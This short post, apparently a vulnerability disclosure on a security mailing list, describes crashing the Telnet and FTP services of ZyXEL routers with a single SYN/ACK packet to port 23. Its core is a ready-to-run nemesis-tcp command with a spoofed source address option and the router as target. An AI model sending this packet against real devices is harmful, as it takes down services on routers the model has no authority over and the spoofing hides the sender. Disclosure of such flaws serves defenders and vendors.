Hello there's no need to flood the router.. just send 1 single packet and it crashs the remote service (works on telnet and FTP, dhcp not tested... ). Example with nemesis: nemesis-tcp -v -S %spoofed IP possible% -D %ZyXEL router% -fS -fA -y 23 This will send a packet with SYN/ACK flags set to port 23 (Telnet) to the router (-v allows a stdout visual of current injected packet) Regards, Ueli Kistler www.eclipse.fr.fm / iuk@gmx.ch www.packx.net / www.eclipse.fr.fm